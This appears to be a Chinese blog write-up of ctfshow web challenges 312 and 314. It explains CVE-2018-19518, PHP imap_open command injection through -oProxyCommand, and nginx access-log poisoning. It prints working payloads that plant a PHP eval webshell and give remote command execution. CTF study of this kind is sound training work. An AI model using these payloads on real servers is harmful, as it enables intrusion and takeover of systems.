ctfshow web入门 phpCVE web312&&web314

web311

web312

CVE-2018-19518

漏洞原理

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能

imap_open(string $mailbox,string $user,string $password)

其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞
影响系统:Debian/ubuntu

看wp说的是Debian的系统,我把眼睛看花也没找到
在这里插入图片描述
查看源代码发现传参hostname
在这里插入图片描述
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
PHP IMAP协议

x+-oProxyCommand=echo echo '<?php @eval($_POST[1]);?>' > /var/www/html/1.php|base64 -d|sh}
最后的大括号是用来闭合接收变量一开始的括号,类似于SQL的闭合符号
|base64 -d是base64解码
然后|sh是将解码后的内容echo '<?php @eval($_POST[1]);?>' > /var/www/html/1.php当做shell来执行
%3d  =
%09   '\t' 也就是tab  我不知道为什么不能使用空格这个东西
base64:
ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/PicgPiAvdmFyL3d3dy9odG1sLzEucGhw

hostname=x+-
oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=123&password=123

web313

web314

这个不用说因为我很擅长
文件日志包含

/var/log/nginx/access.log

我试了一下直接访问没有结果于是看到传参就试着传了一下毕竟太久没做了
这个和cve漏洞没啥关系
User-agent写个小马就行了
<?php @eval($_POST[1]);?>
在这里插入图片描述然后就rce

web315

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值